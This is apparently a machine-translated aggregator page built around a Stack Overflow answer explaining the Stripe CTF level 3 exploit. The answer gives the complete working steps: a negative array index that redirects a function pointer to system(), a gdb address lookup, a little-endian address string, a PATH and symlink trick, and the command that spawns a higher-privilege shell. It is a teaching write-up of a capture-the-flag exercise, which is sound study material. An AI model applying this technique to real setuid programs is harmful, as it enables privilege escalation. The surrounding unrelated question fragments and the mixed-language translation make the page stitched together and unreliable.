- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
所以我正在尝试参加 Stripe CTF 竞赛,但我对安全性一无所知,所以当我遇到问题时,我查看了问题 3。我仍然不明白它是如何工作的。 黑客攻击的目标是通过使用设置了 SUID
位的应用程序访问不同用户文件中的密码。这是应用程序的(简化)代码:
#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)
int run(const char *str)
{
// This function is now deprecated.
return system(str);
}
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
int main(int argc, char **argv)
{
int index;
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
if (argc != 3) {
exit(-1);
}
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
exit(-1);
}
return truncate_and_call(fns, index, argv[2]);
}
这是我找到的解决方案:http://pastebin.com/VJ4xpawq
我很困惑为什么会这样。如果我使用类似 ./level03 -28 "echo foo
;"的代码运行代码我得到一个段错误。还有,为什么他的printf函数里的内存地址是反的????
我迷路了,想学习。先感谢您。 :)
最佳答案
这段代码的目标是执行
system("/bin/sh");
由于可执行文件的 UID 为“level04”,因此它生成的 shell 也将具有“level04”的 UID。
这可以通过运行“已弃用的”run
函数来完成:
run("/bin/sh");
我们注意到在函数 truncate_and_call
中,我们将调用一个由用户输入选择的函数:
return fns[index](buf);
因此,我们尝试创建一个内存位置并组成一个索引
,这样fns[index] == &run
。
索引
由
if (index >= NUM_FNS) {
exit(-1);
}
这意味着我们提供的恶意 index
必须小于 4——但它可能是负数!因此,我们的目标变成:
fns
之前找到一个可写的内存位置&run
的内存地址写入其中buf
指定为启动 shell 的内容。为了检查地址,我们在 gdb
中运行程序并在 truncate_and_call
处中断:
$ gdb --quiet --args a.out 1 something
Reading symbols from ~/a.out...done.
(gdb) b truncate_and_call
Breakpoint 1 at 0x80484c5: file 3.c, line 21.
(gdb) r
Starting program: ~/a.out 1 something
Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
21 strncpy(buf, user_string, sizeof(buf) - 1);
(gdb) list
16
17 int truncate_and_call(fn_ptr *fns, int index, char *user_string)
18 {
19 char buf[64];
20 // Truncate supplied string
21 strncpy(buf, user_string, sizeof(buf) - 1);
22 buf[sizeof(buf) - 1] = '\0';
23 return fns[index](buf);
24 }
25
注意这里还有一个局部变量buf
,它:
(gdb) p &buf$2 = (char (*)[64]) 0xffbffa00
has an address before fns
. So step 1 is done. We only need to check the index
, which is
(gdb) p (0xffbffa6c - 0xffbffa00) / 4 # 4 == sizeof(*fns)$4 = 27
So the next question is how to write the memory location of &run
into buf
. This is easy, because buf
is just a strcpy
of user_string
, the second argument of the function. Check that the address of run
is
(gdb) p &run$5 = (int (*)(const char *)) 0x80484ac
In a little-endian system, this address is encoded as the string "\xAC\x84\x04\x08"
. This string can be obtained from the shell using the printf
command, or $'...'
:
$ echo `printf "\xac\x84\x04\x08"`
��
$ echo $'\xac\x84\x04\x08'
��
所以,最后一步是让它启动 shell。因为如果我们把"\xac\x84\x04\x08"
赋值给buf
,实际上调用的是
run("\xac\x84\x04\x08");
但我们想要 "/bin/sh"
,而不是 "\xac\x84\x04\x08"
!通过将 /bin/sh
链接到名为 "\xac\x84\x04\x08"
的文件,并将该文件的目录添加到$路径
:
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ $'\xac\x84\x04\x08'
sh-4.2$ whoami
level03
因此整个解决方案是:
$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ /levels/level03 -27 $'\xac\x84\x04\x08'
sh-4.2$ whoami
level04
(注意:数字有点不同,因为我在我的机器上运行它们而不是 Stripe 的。)
此外,您在 ./level03 -28 "echo foo;"
中遇到了一个段错误,因为它会将要运行的地址解释为 0x6f686365
( 4 字节 'echo'),这是一个无效地址。
关于创建指向内存地址的符号链接(symbolic link)。 (剧透 : Stripe CTF contest),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9430017/
我们的开发环境是这样配置的,当我们运行代码的调试版本时,它会在崩溃或 ^C 时进入 gdb。随着最近的一些更改,这种情况不再发生(退出程序而不是进入 gdb),我怀疑符号大小的增加导致了这个问题。 有
刚刚浏览了一个教程,想到了我看到的地方 first_name: 还有一个地方 :first_name 这样对吗?有什么区别? 最佳答案 哈希语法在 Ruby 1.9.2 中发生了变化,以更接近 jso
这里是一个相当抽象的问题,因为我不知道从哪里开始我自己的调查。 我有一个用 CMake 构建的 C 包,它生成 librpdb.so;我为同一个库设置了一个 Ruby Gem,它生成 rpdb.bun
我尝试使用 Symbol 创建对象键并用 Symbol.for 找到对应的值,但它不起作用: const sym = Symbol("x"); let obj = { [sym]: "val" }
这可能是一个愚蠢的问题,但我很高兴知道为什么我们使用带有一些标志的短形式的单符号和带有完整标志的双符号? 例子: 1) -h & --help 2) -f & --force 谁能解释一下原因? 最
我们希望能够在删除物理构建区域时删除符号服务器内容,symstore del 命令对事务 ID 起作用。这是未知的。 How to extract the transaction ID based o
我在一个我不太理解的小程序上遇到这个问题(我对节点红色有点陌生),代码是 var profile = msg.user.profile; var cart = profile.cart = pr
我正在尝试创建一种工资单以在控制台中打印,但我从代码中收到以下错误。很多时候它实际上只是一个错误,但我认为我没有足够的 java 知识来自己修复它。 import java.io.*; import
在 C# 项目中,我在 UnhandledException 中创建了小型转储。在我的 Dev 机器中,项目源和 bin 位于路径 K:\projects\*MYPROJECT* 下,如果我设法让它在
我正在尝试针对另一个使用 libcurl 共享库的共享库 (libtheirstuff.so) 交叉编译我自己的共享库 (libmystuff.so),但出现以下错误: libmystuff.so:
我试图遍历一个数组来检查它是否包含任何通过指定函数的项目。我通过向 Array 对象添加一个 .any() 原型(prototype)来做到这一点: Array.prototype.any = (co
除了这个 undefined symbol 错误外,一切正常: bash-3.2$ make g++ -Wall -g solvePlanningProblem.o Position.o AStarN
我 rsync 目录“Promotion”包含两台具有不同目录结构的机器之间的绝对符号链接(symbolic link)。因此绝对符号链接(symbolic link)在两台机器上都不起作用。为了使它
我有以下 JSX - What is your e-mail address? setStateForProperties(e)}
根据 SVG 的 symbol文档,我可以添加 refX/refY属性给它。 如果我理解正确,我可以使用这些属性来定义符号坐标系中的引用点,因此当我使用 引用它时元素,它将相对于该引用点(而不是默认
请解释以下有关“找不到符号”,“无法解析符号”或“找不到符号”错误的信息: 是什么意思? 什么原因可以导致它们? 程序员如何解决它们? 该问题旨在对Java中的这些常见编译错误进行全面的问答。 最佳答
请解释以下有关“找不到符号”,“无法解析符号”或“找不到符号”错误的信息: 是什么意思? 什么原因可以导致它们? 程序员如何解决它们? 该问题旨在对Java中的这些常见编译错误进行全面的问答。 最佳答
请解释以下有关“找不到符号”,“无法解析符号”或“找不到符号”错误的信息: 是什么意思? 什么原因可以导致它们? 程序员如何解决它们? 该问题旨在对Java中的这些常见编译错误进行全面的问答。 最佳答
请解释以下有关“找不到符号”,“无法解析符号”或“找不到符号”错误的信息: 是什么意思? 什么原因可以导致它们? 程序员如何解决它们? 该问题旨在对Java中的这些常见编译错误进行全面的问答。 最佳答
请解释以下有关“找不到符号”,“无法解析符号”或“找不到符号”错误的信息: 是什么意思? 什么原因可以导致它们? 程序员如何解决它们? 该问题旨在对Java中的这些常见编译错误进行全面的问答。 最佳答
我是一名优秀的程序员,十分优秀!